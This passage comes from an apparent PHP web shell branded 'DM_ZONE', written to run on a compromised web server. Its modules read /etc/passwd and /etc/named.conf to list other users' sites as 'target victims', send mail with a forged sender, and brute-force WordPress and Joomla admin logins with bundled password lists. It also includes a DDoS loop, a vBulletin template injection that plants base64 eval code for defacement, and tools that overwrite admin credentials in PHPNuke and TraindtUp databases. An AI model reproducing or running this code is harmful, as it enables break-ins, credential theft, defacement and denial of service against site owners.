              					if(isset($_GET['db'])) 
$msg .= "&nbsp;&nbsp;<span class=\"gaya\">-&gt;</span>&nbsp;&nbsp;
 <a href=\"dm=".$pwd."&amp;x=mysql&amp;
sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;
sqlpass=".$sqlpass."&amp;
sqlport=".$sqlport."&amp;
db=".$_GET['db']."\">".htmlspecialchars($_GET['db'])."</a>"; 
              					if(isset($_GET['table'])) 
$msg .= "&nbsp;&nbsp;<span class=\"gaya\">-&gt;</span>&nbsp;&nbsp;<a href=\"dm=".$pwd."&amp;x=mysql&amp;
sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;
sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;
db=".$_GET['db']."&amp;
table=".$_GET['table']."\">".htmlspecialchars($_GET['table'])."</a>"; 
$msg .= "</p><p>version : ".mysql_get_server_info($con)." proto ".mysql_get_proto_info($con)."</p>"; 
$msg .= "</div>"; 
echo $msg; 
              					if(isset($_GET['db']) && (!isset($_GET['table'])) && (!isset($_GET['sqlquery']))){ 
$db = $_GET['db']; 
$query = "DROP TABLE IF EXISTS dm0_table; 
CREATE TABLE `dm0_table` ( `file` LONGBLOB NOT NULL ); 
LOAD DATA INFILE \"/etc/passwd\"
INTO TABLE Z3r0Z3r0_table;SELECT * FROM dm0_table; 
DROP TABLE IF EXISTS dm_table;"; 

$msg = "<div style=\"width:99%;padding:0 10px;\"><form action=\"?\" method=\"get\"><input type=\"hidden\" name=\"dm\" value=\"".$pwd."\" /> 
										<input type=\"hidden\" name=\"x\" value=\"mysql\" /> 
<input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" /> 
<input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" /> 
<input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" /> 
<input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" /> 
<input type=\"hidden\" name=\"db\" value=\"".$db."\" /> 
<p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">$query</textarea></p> 
										<p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go\" /></p> 
									</form>
								</div> "; 
                           				$tables = array(); 
                           				$msg .= "<table class=\"explore\" style=\"width:99%;\"><tr><th>available tables on ".$db."</th></tr>"; 
$hasil = @mysql_list_tables($db,$con); 
while(list($table) = @mysql_fetch_row($hasil)){ 
@array_push($tables,$table);
} 
@sort($tables); 
foreach($tables as $table){ 
$msg .= "<tr><td><a href=\"?dm=".$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;db=".$db."&amp;table=".$table."\">$table</a></td></tr>"; 
								} 
							$msg .= "</table>"; 
							} 
						elseif(isset($_GET['table']) && (!isset($_GET['sqlquery'])))
							{ 
							$db = $_GET['db']; 
							$table = $_GET['table']; 
							$query = "SELECT * FROM ".$db.".".$table." LIMIT 0,100;"; 
							$msgq = "<div style=\"width:99%;padding:0 10px;\">
<form action=\"?\" method=\"get\"> 
<input type=\"hidden\" name=\"dm\" value=\"".$pwd."\" /> 
<input type=\"hidden\" name=\"x\" value=\"mysql\" /> 
<input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" /> 
<input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" /> 
<input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" /> 
<input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" /> 
<input type=\"hidden\" name=\"db\" value=\"".$db."\" /> 
<input type=\"hidden\" name=\"table\" value=\"".$table."\" /> 
										<p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">".$query."</textarea></p> 
<p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go\" /></p> 
</form></div> "; 

$columns = array(); 
$msg = "<table class=\"explore\" style=\"width:99%;\">"; 
$hasil = @mysql_query("SHOW FIELDS FROM ".$db.".".$table);
while(list($column) = @mysql_fetch_row($hasil)){ 
$msg .= "<th>$column</th>"; $kolum = $column; 
}
$msg .= "</tr>"; 
$hasil = @mysql_query("SELECT count(*) FROM ".$db.".".$table); 
list($total) = mysql_fetch_row($hasil); 

if(isset($_GET['z'])) $page = (int) $_GET['z']; 
else $page = 1; 
$pagenum = 100; 
$totpage = ceil($total / $pagenum); 
$start = (($page - 1) * $pagenum); 
$hasil = @mysql_query("SELECT * FROM ".$db.".".$table." LIMIT ".$start.",".$pagenum); 
while($datas = @mysql_fetch_assoc($hasil)){ 
$msg .= "<tr>";
foreach($datas as $data){ if(trim($data) == "") $data = "&nbsp;"; $msg .= "<td>$data</td>"; } 
$msg .= "</tr>"; 
} 
$msg .= "</table>"; 
$head = "<div style=\"padding:10px 0 0 6px;\"><form action=\"?\" method=\"get\"> 
<input type=\"hidden\" name=\"dm\" value=\"".$pwd."\" /> 
<input type=\"hidden\" name=\"x\" value=\"mysql\" /> 
<input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" />
<input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" /> 
<input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" /> 
<input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" /> 
<input type=\"hidden\" name=\"db\" value=\"".$db."\" /> 
<input type=\"hidden\" name=\"table\" value=\"".$table."\" /> 
Page <select class=\"inputz\" name=\"z\" onchange=\"this.form.submit();\">"; 
for($i = 1;$i <= $totpage;$i++){ 
$head .= "<option value=\"".$i."\">".$i."</option>"; 
if($i == $_GET['z']) $head .= "<option value=\"".$i."\" selected=\"selected\">".$i."</option>"; 
} 
$head .= "</select><noscript><input class=\"inputzbut\" type=\"submit\" value=\"Go !\" /></noscript></form></div>"; 
$msg = $msgq.$head.$msg;
} 
					elseif(isset($_GET['submitquery']) && ($_GET['sqlquery'] != "")){
$db = $_GET['db']; 
$query = magicboom($_GET['sqlquery']); 
$msg = "<div style=\"width:99%;padding:0 10px;\"><form action=\"?\" method=\"get\"> 
<input type=\"hidden\" name=\"dm\" value=\"".$pwd."\" /> 
<input type=\"hidden\" name=\"x\" value=\"mysql\" /> 
<input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" /> 
<input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" /> 
<input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" />
<input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" />
<input type=\"hidden\" name=\"db\" value=\"".$db."\" /> 
<p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">".$query."</textarea></p> 
<p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go\" /></p></form></div> "; 
						@mysql_select_db($db); 
$querys = explode(";",$query); foreach($querys as $query){ 
if(trim($query) != ""){ 
$hasil = mysql_query($query); 
								
if($hasil){ 
$msg .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";&nbsp;&nbsp;&nbsp;
<span class=\"gaya\">[</span> ok <span class=\"gaya\">]</span></p>"; 
$msg .= "<table class=\"explore\" style=\"width:99%;\"><tr>"; 
									for($i=0;$i<@mysql_num_fields($hasil);$i++) $msg .= "<th>".htmlspecialchars(@mysql_field_name($hasil,$i))."</th>"; 
$msg .= "</tr>"; 
								for($i=0;$i<@mysql_num_rows($hasil);$i++) { 
$rows=@mysql_fetch_array($hasil); 
$msg .= "<tr>"; 
for($j=0;$j<@mysql_num_fields($hasil);$j++) { 
											if($rows[$j] == "") $dataz = "&nbsp;"; 
else $dataz = $rows[$j]; 
$msg .= "<td>".$dataz."</td>"; 
} 
$msg .= "</tr>"; 
} 
$msg .= "</table>"; 
} 
else 
$msg .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";&nbsp;&nbsp;&nbsp;<span class=\"gaya\">[</span> error <span class=\"gaya\">]</span></p>"; 
} 
} 
} 
else { 
$query = "SHOW PROCESSLIST;
 SHOW VARIABLES;
 SHOW STATUS;"; 
$msg = "<div style=\"width:99%;padding:0 10px;\">
<form action=\"?\" method=\"get\"> 
<input type=\"hidden\" name=\"dm\" value=\"".$pwd."\" /> 
<input type=\"hidden\" name=\"x\" value=\"mysql\" /> 
<input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" /> 
<input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" /> 
<input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" /> 
<input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" /> 
<input type=\"hidden\" name=\"db\" value=\"".$db."\" /> 
<p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">".$query."</textarea></p> 
<p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go\" /></p> 
</form></div> "; 

$dbs = array(); 
$msg .= "<table class=\"explore\" style=\"width:99%;\"><tr><th>available databases</th></tr>"; 
$hasil = @mysql_list_dbs($con); 
while(list($db) = @mysql_fetch_row($hasil)){ @array_push($dbs,$db); } 
@sort($dbs); 
foreach($dbs as $db){
$msg .= "<tr><td><a href=\"?dm=".$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;db=".$db."\">$db</a></td></tr>"; 
} 
$msg .= "</table>"; 
} 
@mysql_close($con); 
} 
else $msg = "<p style=\"text-align:center;\">cant connect to mysql server</p>"; 
echo $msg; 
} 
else{ 
?> 
<form action="?" method="get"> 
<input type="hidden" name="dm" value="<?php echo $pwd; ?>" /> 
<input type="hidden" name="x" value="mysql" /> 
<table class="tabnet" style="width:300px;"> 
<tr>
<th colspan="2">Connect to mySQL server</th>
</tr>
<tr>
<td>&nbsp;&nbsp;Host</td>
<td><input style="width:220px;" class="inputz" type="text" name="sqlhost" value="localhost" /></td></tr>
<tr>
<td>&nbsp;&nbsp;Username</td>
<td><input style="width:220px;" class="inputz" type="text" name="sqluser" value="root" /></td></tr> 
<tr>
<td>&nbsp;&nbsp;Password</td>
<td><input style="width:220px;" class="inputz" type="text" name="sqlpass" value="password" /></td></tr> 
<tr>
<td>&nbsp;&nbsp;Port</td>
<td><input style="width:80px;" class="inputz" type="text" name="sqlport" value="3306" />&nbsp;<input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="submitsql" /></td>
</tr></table></form> 
				
<?php } } 
elseif(isset($_GET['x']) && ($_GET['x'] == 'mail')) { 
if(isset($_POST['mail_send'])) { 
$mail_to = $_POST['mail_to']; 
$mail_from = $_POST['mail_from']; 
$mail_subject = $_POST['mail_subject']; 
$mail_content = magicboom($_POST['mail_content']); if(@mail($mail_to,$mail_subject,$mail_content,"FROM:$mail_from"))
{ $msg = "email sent to $mail_to"; } 
else $msg = "send email failed"; 
} 
?> 
<form action="?y=<?php echo $pwd; ?>&amp;x=mail" method="post"> 
<table class="cmdbox"> <tr>
<td><textarea class="output" name="mail_content" id="cmd" style="height:340px;">Hey admin, please patch your site :)</textarea></td></tr>
<tr>
<td>&nbsp;<input class="inputz" style="width:20%;" type="text" value="[email protected]" name="mail_to" />&nbsp; mail to</td></tr> 
<tr><td>&nbsp;<input class="inputz" style="width:20%;" type="text" value="[email protected]" name="mail_from" />&nbsp; from</td></tr> 
<tr><td>&nbsp;<input class="inputz" style="width:20%;" type="text" value="patch me" name="mail_subject" />&nbsp; subject</td></tr> 
<tr><td>&nbsp;<input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="mail_send" /></td></tr>
<tr><td>&nbsp;&nbsp;&nbsp;&nbsp;<?php echo $msg; ?>
</td></tr> 
</table> </form> 
			

<?php } 
#x=jumping
elseif(isset($_GET['x']) && ($_GET['x'] == 'jumping')) { ?>

<form action="?dm=<?php echo $pwd; ?>&amp;x=jumping" method="post">

<?php
($sm = ini_get('safe_mode') == 0) ? $sm = 'off': die('<center><br/><br/><nobr><span class=b9>SAFE MODE ON</span></nobr><br/><br/></center> ');
set_time_limit(0);
@$passwd = fopen('/etc/passwd-','r');
if (!$passwd) { 
die('<center><br/><br/><nobr><span class=b9>READ ETC/PASSWD- NOT AVAILABLE</span></nobr><br/><br/></center>'); 
}
$pub = array();
$users = array();
$conf = array();
$i = 0;
while(!feof($passwd)) {
$str = fgets($passwd);
if ($i > 10) {
$pos = strpos($str,':');
$username = substr($str,0,$pos);
$dirz = '/home/'.$username.'/public_html/';
if (($username != '')) {
if (is_readable($dirz)) {
array_push($users,$username);
array_push($pub,$dirz);
}
}
}
$i++;
}
echo "<center><br/><br/><nobr><b><span class='b7'>O=:[ READABLE</span> <span class='b8'>PUBLIC_HTML ]:=O</span></b></nobr><br/><br/><table align='center' border='3' width='200' cellspacing='0' cellpadding='0'>
<tr><th><b>TOTAL : ".sizeof($pub)." TARGET VICTIM"."</th></tr>";
foreach ($users as $user) {
$path = "/home/$user/public_html/";
echo "<tr>";
echo "<td><a href='?dm=$path' target='_blank' style='font-weight:bold; color:#FFFFFF;'>$path</td>";
}
echo "</tr>";
echo "</table></center></body></html>";
}

# x=domain
elseif(isset($_GET['x']) && ($_GET['x'] == 'domain')) { ?>
<form action="?dm=<?php echo $pwd; ?>&amp;x=domain" method="post">

<?php
echo '<br><br></center><br><br><div class=content>';
$file = @implode(@file("/etc/named.conf"));
if(!$file){ die("can't ReaD -> [ /etc/named.conf "); 
}
preg_match_all("#named/(.*?).db#",$file ,$r);
$domains = array_unique($r[1]);
//check();
//if(isset($_GET['ShowAll']))
{
echo "<table align=center border=1 width=59% cellpadding=5>
<tr><td colspan=2>[+] ADA [ <b>".count($domains)."</b> ] DOMAIN</td></tr>
<tr><td>Domain</td><td>User</td></tr>";
foreach($domains as $domain){
$user = posix_getpwuid(@fileowner("/etc/valiases/".$domain));
echo "<tr><td>$domain</td><td>".$user['name']."</td></tr>";
}
echo "</table>";
}
echo '</div>';
}


# x=crypter 
elseif(isset($_GET['x']) && ($_GET['x'] == 'crypter')) {
$submit= $_POST['enter'];
$pass = $_POST['password']; 
 
if(isset($submit)) {
$salt = '}#f4ga~g%7hjg4&j(7mk?/!bj30ab-wi=6^7-$^R9F|GK5J#E6WT;IO[JN'; 
$hash = md5($pass);
$hash_md5 = md5($salt.$pass); 
$hash_md5_double = md5(sha1($salt.$pass)); 
$hash1 = sha1($pass); 
$hash1_sha1 = sha1($salt.$pass); 
$hash1_sha1_double = sha1(md5($salt.$pass)); 
}
echo '<form action="" method="post"><b><table class=tabnet>';
echo '<tr><th colspan="2">Password Hash</th></center></tr>';
echo '<tr><td><b>Masukan Kata : </b></td>';
echo '<td><input class="inputz" type="text" name="password" size="40" />';
echo '<input class="inputzbut" type="submit" name="enter" value="hash" />';
echo '</td></tr><br>';
echo '<tr><th colspan="2">Hasil Hash</th></center></tr>';
echo '<tr><td>Original</td><td><input class=inputz type=text size=50 value='.$pass.'></td></tr><br><br>';
echo '<tr><td>MD5</td><td><input class=inputz type=text size=50 value='.$hash.'></td></tr><br><br>';
echo '<tr><td>MD5 with Salt</td><td><input class=inputz type=text size=50 value='.$hash_md5.'></td></tr><br><br>';
echo '<tr><td>MD5 with Salt & Sha1</td><td><input class=inputz type=text size=50 value='.$hash_md5_double.'></td></tr><br><br>';
echo '<tr><td>Sha1</td><td><input class=inputz type=text size=50 value='.$hash1.'></td></tr><br><br>';
echo '<tr><td>Sha1 with Salt</td><td><input class=inputz type=text size=50 value='.$hash1_sha1.'></td></tr><br><br>';
echo '<tr><td>Sha1 with Salt & MD5</td><td><input class=inputz type=text size=50 value='.$hash1_sha1_double.'></td></tr><br><br></table>'; 
}


# x=wp1
elseif(isset($_GET['x']) && ($_GET['x'] == 'wp1')) { ?>
<form action="?dm=<?php echo $pwd; ?>&amp;x=wp1" method="post">

<center><br/><br/>
<form enctype="multipart/form-data" method="POST">
<table width='624' border='0' class='tabnet' id='Box'>
<tr><th colspan="5">Wordpress Brute Force</th></tr>
<tr><td >&nbsp;</td>
<td><p>Hosts:</p></td>
<td><p>Users:</p></td>
<td><p>Passwords:</p></td></tr>
<tr><td>&nbsp;</td>
<td ><textarea style="background:black;" name="hosts" cols="30" rows="10" ><?php if($_POST){echo $_POST['hosts'];} ?></textarea></td>
<td><textarea style="background:black;" name="usernames" cols="30" rows="10"  ><?php if($_POST){echo $_POST['usernames'];}else {echo "admin";} ?></textarea></td>
<td ><textarea style="background:black;" name="passwords" cols="30" rows="10"  >

<?php if($_POST){echo$_POST['passwords'];}else {echo"admin
administrator
admin123
qwerty
123qwerty
qwerty12345
123adminS45admin
qwe123rty
123123
123321
123456
1234567
12345678
123456789
123456123456
admin2010
admin2011
password
P@ssW0rd
!@#$%^
!@#$%^&*(
(*&^%$#@!
111111
222222
333333
444444
555555
666666
777777
888888
999999";}?></textarea></td></tr>
<tr><td colspan="4"><input class='inputzbut' type="submit" name="submit" value="Brute Now"  />
<?php
if($_POST){
$hosts = trim(filter($_POST['hosts']));
$passwords = trim(filter($_POST['passwords']));
$usernames = trim(filter($_POST['usernames']));

if($passwords && $usernames && $hosts)
{
$hosts_explode = explode("
", $hosts);
$usernames_explode = explode("
", $usernames);
$passwords_explode = explode("
", $passwords);

foreach($hosts_explode as $host)
{
$host = RemoveLastSlash($host);
$hacked = 0;
$host = str_replace(array("http://","https://","www."),"",trim($host));
$host = "http://".$host;
$wpAdmin = $host.'/wp-admin/';

if(!url_exists($host."/wp-login.php"))
{echo "<p>".$host." => <font color='red'>Error In Login Page !</font></p>";
ob_flush();
flush();
continue;
}
foreach($usernames_explode as $username)
{
foreach($passwords_explode as $password)
{
$ch = curl_init();
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_URL,$host.'/wp-login.php');
curl_setopt($ch,CURLOPT_COOKIEJAR,"coki.txt");
curl_setopt($ch,CURLOPT_COOKIEFILE,"coki.txt");
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($ch,CURLOPT_POST,TRUE);
curl_setopt($ch,CURLOPT_POSTFIELDS,"log=".$username."&pwd=".$password."&wp-submit=Giri&#8207;"."&redirect_to=".$wpAdmin."&testcookie=1");
$login =curl_exec($ch);

if(eregi("profile.php",$login)) {
$hacked = 1;
echo "<p>".$host." => UserName : [<font color='green'>".$username."</font>] : Password : [<font color='green'>".$password."</font>]</p>";
ob_flush();
flush();
break;
}
}
if($hacked == 1){break;}
}
if($hacked == 0)
{echo "<p>".$host." => <font color='red'>Failed !</font></p>";ob_flush();flush();}
}
}
else {echo "<p><font color='red'>All fields are Required ! </font></p>";}
}
?>
</td></tr>
</table></form></center>
<?php
function url_exists($strURL) {
$resURL = curl_init();
curl_setopt($resURL, CURLOPT_URL, $strURL);
curl_setopt($resURL, CURLOPT_BINARYTRANSFER, 1);
curl_setopt($resURL, CURLOPT_HEADERFUNCTION, 'curlHeaderCallback');
curl_setopt($resURL, CURLOPT_FAILONERROR, 1);
curl_exec ($resURL);

$intReturnCode = curl_getinfo($resURL, CURLINFO_HTTP_CODE);
curl_close ($resURL);

if ($intReturnCode != 200){return false;} else {return true ;}
}
function filter($string)
{
	if(get_magic_quotes_gpc() != 0){return stripslashes($string);	}
	else{return $string;	}
}
function RemoveLastSlash($host)
{
	if(strrpos($host, '/', -1) == strlen($host)-1)
	{return substr($host,0,strrpos($host, '/', -1));}
	else{return $host;}
}
echo "</p>";
}

# x=jm1
elseif(isset($_GET['x']) && ($_GET['x'] == 'jm1')) { ?>
<form action="?dm=<?php echo $pwd; ?>&amp;x=jm1" method="post">
<center><br /><br />
<form method="post" action="" enctype="multipart/form-data"> 
<table class="tabnet" width="38%" border="0"><center>
<th colspan="2">Joomla Brute Force</th>
<tr>
<td><p ><font  class="d1">User :</font></th>
<input class="inputz" type='text' name="usr" value="admin" size="15"> </font></center><br /><br /></p>
</td></tr>
<tr><td><font class="">Sites list :</font> 
</td><td><font class="" >Pass list :</font></td></tr>
<tr><td>
<textarea name="sites" style="background:black;" cols="40" rows="13" ></textarea>
</td><td>
<textarea name="w0rds" style="background:black;" cols="40" rows="13" >
admin
123qwe456rty
qwerty
fuck
administrator
passjomla
adminpass
123456
password
102030
123123
12345
123456789
pass
test
admin123
demo
!@#$%^</textarea>
</td></tr><center><tr><td>
<font > 
<input class="inputzbut" type="submit" name="x" value=" >> " id="d4"> 
</font></td></tr><br><br></center></table>
</form></center>
<? 
@set_time_limit(0); 

if($_POST['x']){ 
echo "<hr>"; 
$sites = explode("
",$_POST["sites"]); 
$w0rds = explode("
",$_POST["w0rds"]); 
$Attack = new Joomla_brute_Force(); 
foreach($w0rds as $pwd){ 
foreach($sites as $site){ 
$Attack->check_it(txt_cln($site),$_POST['usr'],txt_cln($pwd)); 
flush();flush(); 
} } } 


function txt_cln($value) {  
return str_replace(array("
","
"),"",$value); 
} 

class Joomla_brute_Force{ 
public function check_it($site,$user,$pass){ 

if(eregi('com_config',$this->post($site,$user,$pass))){ 
echo "<span class=\"x2\"><b># Success : $user:$pass -> <a href='$site/administrator/index.php'>$site/administrator/index.php</a></b></span><BR>";
$f = fopen("Result.txt","a+"); 
fwrite($f , "Success ~~ $user:$pass -> $site/administrator/index.php
"); 
fclose($f); 
flush(); 
} else { 
echo "# Failed : $user:$pass -> $site<BR>"; flush();
} 
} 

public function post($site,$user,$pass){ 
$token = $this->extract_token($site); 
$curl=curl_init(); 

curl_setopt($curl,CURLOPT_RETURNTRANSFER,1); 
curl_setopt($curl,CURLOPT_URL,$site."/administrator/index.php"); 
@curl_setopt($curl,CURLOPT_COOKIEFILE,'cookie.txt'); 
@curl_setopt($curl,CURLOPT_COOKIEJAR,'cookie.txt'); 
curl_setopt($curl,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317  Firefox/3.0.4'); 
@curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1); 
curl_setopt($curl,CURLOPT_POST,1); 
curl_setopt($curl,CURLOPT_POSTFIELDS,'username='.$user.'&passwd='.$pass.'&lang=en-GB&option=com_login&task=login&'.$token.'=1'); 
curl_setopt($curl,CURLOPT_TIMEOUT,20); 

$exec=curl_exec($curl); 
curl_close($curl); 
return $exec; 
} 

public function extract_token($site){ 
$source = $this->get_source($site); 
preg_match_all("/type=\"hidden\" name=\"([0-9a-f]{32})\" value=\"1\"/si" ,$source,$token); 
return $token[1][0]; 
} 

public function get_source($site){ 
$curl=curl_init(); 
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1); 
curl_setopt($curl,CURLOPT_URL,$site."/administrator/index.php"); 
@curl_setopt($curl,CURLOPT_COOKIEFILE,'cookie.txt'); 
@curl_setopt($curl,CURLOPT_COOKIEJAR,'cookie.txt'); 
curl_setopt($curl,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317  Firefox/3.0.4'); 
@curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1); 
curl_setopt($curl,CURLOPT_TIMEOUT,20); 

$exec=curl_exec($curl); 
curl_close($curl); 
return $exec; 
}
}
}
 


elseif(isset($_GET['x']) && ($_GET['x'] == 'phpddos')) {
?>
<form action="?dm=<?php echo $pwd; ?>&amp;x=phpddos" method="post">


<?php

echo $head.$formg.$nowaddress.'<br><br><br><title>-=[ Ddos tool ]=-</title><br><br><table class="tabnet" ><b><p align="center">Address : <input class=inputz name=urldd0 size=50> Time : <input class=inputz name=timedd0 size=6 value=40000></b><br><input class="inputzbut"type=submit value="  Get Fire!!!  "></form></p></table>'.$end;exit;



if($_GET['urldd0'] && $_GET['timedd0']){
for ($id=0;$$id<$_GET['timedd0'];$id++){
$fp=null;
$contents=null;
$fp=fopen($_GET['urldd0'],"rb");

while (!feof($fp)) {
  
$contents .= fread($fp, 8192);
}
fclose($fp);
}
}
}



# x=cloud
elseif(isset($_GET['x']) && ($_GET['x'] == 'cf')){
echo '<center><br/><br/>
<form method="POST">
<select class="inputz" name="krz">
<option>FTP</option>
<option>DIRECT</option>
<option>WEBMAIL</option>
<option>CPANEL</option></select>

<input class="inputz" type="text" name="target" value="url">
<input class="inputzbut" type="submit" value=" >> "></center>';


$target = $_POST['target'];

if($_POST['krz'] == "ftp") {
$ftp = gethostbyname("ftp."."$target");echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='#00ff00'>Correct 
Ip Is : </font><font face='Tahoma' size='2' color='#F68B1F'>$ftp</font></p>";
} 

if($_POST['krz'] == "direct-connect") {
$direct = gethostbyname("direct-connect."."$target");
echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='#00ff00'>Correct 
Ip Is : </font><font face='Tahoma' size='2' color='#F68B1F'>$direct</font></p>";
}

if($_POST['krz'] == "webmail") {
$web = gethostbyname("webmail."."$target");
echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='#00ff00'>Correct 
Ip Is : </font><font face='Tahoma' size='2' color='#F68B1F'>$web</font></p>";
}

if($_POST['krz'] == "cpanel") {
$cpanel = gethostbyname("cpanel."."$target");
echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='#00ff00'>Correct 
Ip Is : </font><font face='Tahoma' size='2' color='#F68B1F'>$cpanel</font></p>";
}
}


# x=vb1
elseif(isset($_GET['x']) && ($_GET['x'] == 'vb1')){	
?>
<form action="?dm=<?php echo $pwd; ?>&amp;x=vb1" method="post">


<br><br><br><div align="center">
<?php
if(empty($_POST['index'])){
echo "<center><form method=\"POST\">
DB Host : <input size=\"15\" value=\"localhost\" style='color:#FF0000;background-color:#000000' name=\"localhost\" type=\"text\"><br>
DB Name : <input size=\"15\" style='color:#FF0000;background-color:#000000' value=\"\" name=\"database\" type=\"text\"><br>
DB User : <input size=\"15\" style='color:#FF0000;background-color:#000000' value=\"\" name=\"username\" type=\"text\"><br>
DB Pass : <input size=\"15\" style='color:#FF0000;background-color:#000000' value=\"\" name=\"password\" type=\"text\"><br>
<br>
<textarea name=\"index\" cols=\"100\" rows=\"20\">[+] HALAMAN INDEX DEFACE [+]</textarea><br>
<input value=\" >> \" style='color:#FF0000;background-color:#000000' name=\"send\" type=\"submit\">
</form></center>";
}else{
$localhost = $_POST['localhost'];
$database = $_POST['database'];
$username = $_POST['username'];
$password = $_POST['password'];
$index = $_POST['index'];
@mysql_connect($localhost,$username,$password) or die(mysql_error());
@mysql_select_db($database) or die(mysql_error());

$index=str_replace("\'","'",$index);

$set_index = "{\${eval(base64_decode(\'";

$set_index .= base64_encode("echo \"$index\";");


$set_index .= "\'))}}{\${exit()}}</textarea>";

echo("UPDATE template SET template ='".$set_index."' ") ;
$ok=@mysql_query("UPDATE template SET template ='".$set_index."'") or die(mysql_error());

if($ok){
echo "!! update finish !!<br><br>";
}
}
}

// x=traindt
elseif(isset($_GET['x']) && ($_GET['x'] == 'traindt')) {	
// password changer
?>
<form action="?dm=<?php echo $pwd; ?>&amp;x=traindt" method="post">

<?php
echo "<html><head><title>TraindtUpLoginChanger</title></head>";
echo "<body><center>
<h2>^_^ DM_ZONE ^_^</h2>
<h3>TraindtUp UsEr-PaSs FuCk3r</h3>
<form method=POST action=''>
DB HOST<br/>
<input style='color:lime;background-color:#000000' value=localhost type=text name=anu1 size='40'><br/>
DB NAME<br/>
<input style='color:lime;background-color:#000000' type=text name=anu2 size='40'><br/>
DB USER<br/>
<input style='color:lime;background-color:#000000' type=text name=anu3 size='40'><br/>
DB PASSWORD<br/>
<input style='color:lime;background-color:#000000' type=password name=anu4 size='40'><br/>
<hr style='color:lime;'> <p>TARGET ID ADMIN MAHO<br/>
<input value='1' style='color:lime;background-color:#000000' type=text name=idmaho size='20'><br/> 
NEW ADMIN LOGIN USER<br/>
<input value=admin-ganteng style='color:lime;background-color:#000000' type=text name=userbaru size='20'><br/>
NEW ADMIN LOGIN PASS<br/>
<input value=dm style='color:lime;background-color:#000000' type=password name=passbaru size='20'><br/><p>
 
<input style='color:lime;background-color:#000000' type=submit value='[~] GANTENGIN COK [~] ' ></form>";

$anu1 = $_POST['anu1'];
$anu2 = $_POST['anu2'];
$anu3 = $_POST['anu3'];
$anu4 = $_POST['anu4'];
@mysql_connect($anu1,$anu3,$anu4);
@mysql_select_db($anu2);
 
$idmaho=str_replace("\'","'",$idmaho);
$target_id = $_POST['idmaho']; 

$userbaru=str_replace("\'","'",$userbaru);
$ganti_user = $_POST['userbaru'];

$passbaru=str_replace("\'","'",$passbaru);
$hash_pass = $_POST['passbaru'];
$ganti_pass = md5($hash_pass);

$sodok1 = "UPDATE admin SET admin_user ='".$ganti_user."' WHERE admin_id ='".$target_id."'";
$sodok2 = "UPDATE admin SET admin_password ='".$ganti_pass."' WHERE admin_id ='".$target_id."'"; 

$oke=@mysql_query($sodok1);
$oke=@mysql_query($sodok2);
if($oke)
{
echo "<center><font color='lime'>SUKSES BOS GANTENG :P</font>";
} 
}

// x=nuke
elseif(isset($_GET['x']) && ($_GET['x'] == 'nuke')) {
// password changer
?>
<form action="?dm=<?php echo $pwd; ?>&amp;x=nuke" method="post">

<?php
echo "<html><head><title>PHPNukeLoginChanger</title></head>";
echo "<body><center>
<h2>^_^ DM_ZONE ^_^</h2>
<h3>PHPNuke UsEr-PaSs FuCk3r</h3>
<form method=POST action=''>
DB HOST<br/>
<input style='color:lime;background-color:#000000' value=localhost type=text name=anu1 size='40'><br/>
DB NAME<br/>
<input style='color:lime;background-color:#000000' type=text name=anu2 size='40'><br/>
DB USER<br/>
